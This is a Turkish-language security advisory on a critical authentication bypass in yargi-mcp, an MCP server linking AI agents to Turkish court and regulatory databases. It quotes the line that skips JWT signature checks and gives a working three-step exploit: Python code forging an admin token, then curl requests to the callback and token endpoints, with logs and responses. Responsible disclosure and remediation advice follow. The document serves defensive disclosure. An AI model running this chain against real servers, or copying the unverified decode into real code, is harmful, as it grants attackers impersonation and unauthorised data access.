Back to Research
Advisory

MCP Kimlik Doğrulamayı Kırmak: Tek Satır Kod ile Tüm Hukuk Veritabanına Erişim

Eresus Security Research TeamSecurity Researcher
April 4, 2026
5 min read

Model Context Protocol (MCP), yapay zeka ajanları ile harici araçlar arasında standart köprü haline hızla geliyor. LLM destekli uygulamalar kurumsal iş akışlarına daha derinden entegre oldukça, MCP sunucularının güvenliği artık isteğe bağlı bir özellik değil — kritik bir saldırı yüzeyi. Eresus Security olarak MCP ekosistemini proaktif olarak denetliyoruz ve en popüler Türk hukuk MCP sunucularından birinde bulduğumuz şey, kriptografik doğrulama atlandığında neler olabileceğinin ders kitabı niteliğinde bir örneği.

Kısa Özet: Tek bir Python satırı — jwt.decode(clerk_token, options={"verify_signature": False})yargi-mcp projesinin tüm OAuth kimlik doğrulama katmanını tamamen devre dışı bırakıyor. yargi-mcp, yapay zeka ajanlarına Yargıtay, Danıştay, Anayasa Mahkemesi ve diğer Türk hukuk veritabanlarına erişim sağlayan açık kaynaklı bir MCP sunucusu. Ağ erişimi olan herhangi bir saldırgan sahte bir JWT oluşturabilir, herhangi bir kullanıcı (yöneticiler dahil) olarak kimlik doğrulayabilir ve tüm korumalı uç noktalara erişebilir.


1. yargi-mcp Nedir?

yargi-mcp, Claude, ChatGPT veya özel yapay zeka ajanları gibi LLM uygulamalarını Türkiye'nin başlıca hukuk veritabanlarına bağlayan popüler bir açık kaynak Model Context Protocol sunucusudur (GitHub'da 700+ yıldız). Aşağıdaki veritabanlarında yapılandırılmış arama ve erişim sağlar:

  • Yargıtay (Temyiz Mahkemesi)
  • Danıştay (İdari Yargı)
  • Anayasa Mahkemesi
  • KVKK (Kişisel Verileri Koruma Kurumu)
  • BDDK (Bankacılık Düzenleme ve Denetleme Kurumu)

Kimlik doğrulama etkinleştirildiğinde (ENABLE_AUTH=true), sunucu Clerk'i kimlik sağlayıcı olarak kullanan bir OAuth 2.0 akışı uygular. Kritik zafiyet tam da bu noktada bulunuyor.

2. Zafiyet: verify_signature=False

mcp_auth_http_simple.py dosyasında 164. satırda, OAuth callback uç noktası gelen JWT tokenlarını şu kodla işliyor:

decoded_token = jwt.decode(clerk_token, options={"verify_signature": False})

Bu tek parametre — verify_signature: False — PyJWT kütüphanesine tüm kriptografik imza doğrulamasını atlamasını söylüyor. JWT yalnızca claim'leri çıkarmak için çözümleniyor, ancak tokenın gerçekten Clerk tarafından verilip verilmediğine dair hiçbir kontrol yapılmıyor. Aynı kalıp mcp_auth_http_adapter.py dosyasında 203. satırda da tekrarlanıyor.

Neden Bu Kadar Yıkıcı?

JWT'ler dijital imzalar aracılığıyla değiştirilemez olacak şekilde tasarlanmıştır. Clerk gibi meşru bir kimlik sağlayıcı bir token verdiğinde, payload'ı özel bir anahtarla imzalar. Alıcı sunucunun bu imzayı sağlayıcının açık anahtarlarına (JWKS) karşı doğrulaması gerekir. Bu doğrulama devre dışı bırakıldığında:

  1. Herhangi bir imzalama anahtarı çalışır'herhangi_bir_rastgele_anahtar' dahil
  2. Tüm claim'ler güvenilir kabul ediliruser_id, email, scopes olduğu gibi kabul edilir
  3. Sahte token olduğu gibi iade edilir — 177. satırda real_jwt_token = clerk_token olarak saklanır ve /token uç noktası sahte tokeni Bearer access token olarak geri verir

Sunucu sadece doğrulamayı atlamamakla kalmıyor — sahte tokenları aktif olarak meşru OAuth access tokenlarına dönüştürüyor.

3. Tam Saldırı Zinciri

İşte yargi-mcp v0.2.0 üzerinde test edilmiş kesin sömürü yolu:

Adım 1 — JWT Oluştur

import jwt

fake = jwt.encode({
    'sub': 'admin',
    'user_id': 'admin',
    'email': 'admin@hedef.com',
    'scopes': ['read', 'search', 'admin']
}, 'herhangi_bir_rastgele_anahtar', algorithm='HS256')

Bu, tamamen rastgele bir anahtarla imzalanmış, yapısal olarak geçerli bir JWT oluşturur. Claim'ler bir yöneticiyi taklit eder.

Adım 2 — OAuth Callback'e Gönder

curl -v "http://localhost:8000/auth/callback?\
  client_id=test&\
  redirect_uri=http://localhost:8000/health&\
  clerk_token=$FAKE_JWT"

Sunucu, imzayı doğrulamadan tokeni çözümler, claim'leri çıkarır ve meşru bir yetkilendirme kodu üretir. Sunucu logları doğrular:

INFO - JWT token claims - user_id: admin, email: admin@hedef.com
INFO - User authenticated via JWT token - user_id: admin
INFO - Using Clerk JWT token directly (already real token)
INFO - Stored authorization code in memory

Adım 3 — Access Token ile Değiştir

curl -s -X POST http://localhost:8000/token \
  -d "grant_type=authorization_code&\
      code=clerk_auth_<hex>&\
      redirect_uri=http://localhost:8000/health&\
      client_id=test"

Sunucu sahte JWT'yi geçerli bir Bearer token olarak döndürür:

{
  "access_token": "<sahte_jwt>",
  "token_type": "Bearer",
  "expires_in": 3600,
  "scope": "read search"
}

Döndürülen access_token, Adım 1'deki sahte JWT'nin ta kendisidir. Tam yönetici erişimi sağlanmıştır.

4. Etki Analizi

Bu teorik bir zafiyet değildir. İşte somut iş etkisi:

| Etki Kategorisi | Ciddiyet | Açıklama | |---|---|---| | Kimlik Doğrulama Atlama | Kritik | Sahte JWT ile herhangi bir kullanıcı kimliği taklit edilebilir | | Yetki Yükseltme | Yüksek | Admin düzeyinde yetkiler doğrulama olmadan kendi kendine atanabilir | | Hukuk Verisi İfşası | Yüksek | Tüm Türk hukuk veritabanı uç noktaları erişilebilir hale gelir | | Ödeme Atlama | Orta | Stripe ile korunan premium özellikler abonelik olmadan erişilebilir |

CVSS 3.1: 9.8 (Kritik)AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

5. Büyük Resim: MCP Sunucu Güvenliği

Bu zafiyet, hızla büyüyen MCP ekosisteminde sistemik bir riski ortaya koyuyor. Yapay zeka ajanları MCP sunucuları aracılığıyla daha hassas veri kaynaklarına eriştikçe, kimlik doğrulama katmanı en kritik güvenlik kontrolü haline geliyor. Temel dersler:

Asla Güvenme, Her Zaman Doğrula

JWT imza doğrulaması isteğe bağlı değildir. PyJWT'deki verify_signature=False seçeneği hata ayıklama için vardır — asla üretim ortamı için değil. Harici kaynaklardan JWT çözümlüyorsanız:

  • İmzaları sağlayıcının JWKS uç noktasına karşı doğrulayın
  • iss (sağlayıcı), aud (hedef kitle) ve exp (son kullanma) claim'lerini doğrulayın
  • Mümkünse asimetrik algoritmalar (RS256) kullanın

MCP Sunucuları Yüksek Değerli Hedeflerdir

MCP sunucuları yapay zeka ajanları ile arka uç veri kaynakları arasında bulunur. Ele geçirilmiş bir MCP kimlik doğrulama katmanı yalnızca veri ifşa etmekle kalmaz — kötü niyetli yapay zeka ajanları tarafından ölçekte yetkisiz eylemler gerçekleştirmek için kullanılabilir.

OAuth Uygulamaları Uzman İncelemesi Gerektirir

Kendi OAuth 2.0 uygulamanızı yazmak doğası gereği risklidir. authlib gibi kurulu kütüphaneleri kullanmak ve RFC 6749'u sıkı bir şekilde takip etmek, tüm zafiyet sınıflarını önleyebilir.

6. Sorumlu Bildirim Zaman Çizelgesi

| Tarih | İşlem | |-------|-------| | 2026-04-02 | Proaktif MCP ekosistemi denetimi sırasında zafiyet keşfedildi | | 2026-04-02 | GitHub Issue #21 üzerinden özel bildirim isteği gönderildi | | 2026-04-02 | Geliştiriciden GitHub Private Vulnerability Reporting'i etkinleştirmesi istendi | | 2026-04-04 | Tam teknik advisory yayınlandı (ERESUS-ADV-2026-003) |

7. MCP Altyapınızı Güvence Altına Alın

Yapay zeka destekli uygulamalar, güvenlik duruşlarından daha hızlı genişliyor. MCP sunucuları, LLM araç entegrasyonları ve ajantik iş akışları, geleneksel sızma testlerinin kapsamadığı yeni saldırı yüzeyleri oluşturuyor. Eresus Security, MCP ve yapay zeka güvenlik değerlendirmelerinde uzmanlaşmıştır — yapay zeka ajanlarınızı kötüye kullanımdan koruyan kimlik doğrulama, yetkilendirme ve veri akışı sınırlarını denetliyoruz.

Tam advisory: ERESUS-ADV-2026-003 GitHub Issue: saidsurucu/yargi-mcp#21